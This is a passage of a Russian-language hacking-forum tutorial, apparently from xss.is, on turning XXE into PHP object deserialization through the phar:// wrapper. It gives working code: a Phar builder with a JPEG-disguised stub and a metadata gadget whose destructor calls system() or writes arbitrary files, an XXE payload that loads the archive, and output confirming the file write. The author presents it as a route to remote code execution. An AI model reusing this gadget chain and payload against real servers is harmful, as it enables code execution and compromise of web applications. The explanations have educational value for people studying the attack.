Метод __destruct автоматически вызывается при уничтожении объекта класса и записывает содержимое $content в файл с именем $filename. При получении POST-запроса из формы, код считывает XML-данные из поля xml. Затем с помощью DOMDocument загружается и парсится XML с опциями LIBXML_NOENT и LIBXML_DTDLOAD, что позволяет обработку внешних сущностей.
3 - OTI3a2F.png


Изображение [6]​
В самом начале мы создавали сериализованный объект таким образом:
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $username;
    public $email;

    public function __construct($username, $email) {
        $this->username = $username;
        $this->email = $email;
        print('My name is ' . $username . "\n");
    }
}

$user = new User('alice', 'alice@example.com');
$serialize = serialize($user);
echo $serialize;
echo "\n";
?>
Делаем одно и то же, только с структурой phar. Я взял это из хектрикс:
Код: Скопировать в буфер обмена
Код:
<?php

class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }
   
    function __destruct() {
        system($this->data);
    }
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Отредактировал:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
    public $filename;
    public $content;

    public function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new Dangerous();
$object ->filename = '/tmp/kupalinka.txt';
$object ->content = ' cyomnaya nochka...';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
Проверяем:
Код: Скопировать в буфер обмена
Код:
php test.php
(создался test.phar, удаляем /tmp/kupalinka.txt)
ls /tmp
(убедитесь что там нет kupalinka)
Проверяем:
4 - zrSGCTA.png


Изображение [7]​
Код: Скопировать в буфер обмена
Код:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "phar:///var/www/html/test.phar"> ]>
<data>&example;</data>
================================================
ls /tmp
kupalinka.txt
А теперь объяснение.
PHAR (PHP Archive) — это формат архивов, используемый для объединения нескольких PHP-файлов в один исполняемый файл. Класс Phar — это встроенный в PHP механизм, который позволяет упаковывать несколько файлов в один архив с возможностью его последующего запуска.
Если обратиться к официальной документации по Phar, можно увидеть описание внутренней структуры Phar-файла.

startBuffering сообщает объекту Phar, что мы начинаем вносить изменения в буфер. Пока буфер открыт, мы можем добавлять файлы, устанавливать метаданные и т.д. Никакие изменения не будут окончательно зафиксированы, пока мы не вызовем stopBuffering(). addFromString добавляет в Phar-файл новый файл с именем test.txt и содержимым 'text'. Это просто значит, что внутри test.phar теперь будет храниться текстовый файл test.txt с содержимым text.
setStub задаёт так называемый stub — специальный блок кода, который будет исполнен, когда Phar-файл будет запущен как PHP-скрипт. Когда позже вы будете использовать (запускать) этот test.phar, PHP сначала исполнит stub (до __HALT_COMPILER() ), а затем будет способен читать бинарную часть архива, включая метаданные.
Вызов setMetadata() устанавливает метаданные для Phar. В метаданные можно записать практически любые сериализуемые данные, включая объекты.
В итоге метаданные Phar-файла test.phar будут содержать сериализованную версию нашего объекта класса Dangerous.
Куда пропал test.txt?
Файл test.txt не «пропал» — он просто больше не существует отдельно в файловой системе, а теперь является частью созданного нами Phar-архива.
Почему происходит десериализация?
Если функция файловой системы вызывается с потоком phar в качестве аргумента, сериализованные метаданные Phar автоматически десериализуются.

Вообще то, если проверить ресурсы в интернете, вы эту технику увидете с LFI, а не с XXE. Просто дело в том что, тут тема полностью в врапперах, а не в самой уязвимости.

Итог​

Написали/Отредактировали гаджет + чекнули не особо знаменитую технику, которая ключ к RCE. Возможно будет ещё статья на эту тему связанная с десериализацией в Python/Java/Node. Питон кстати ужасно лёгкий в отношении к PHP.

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу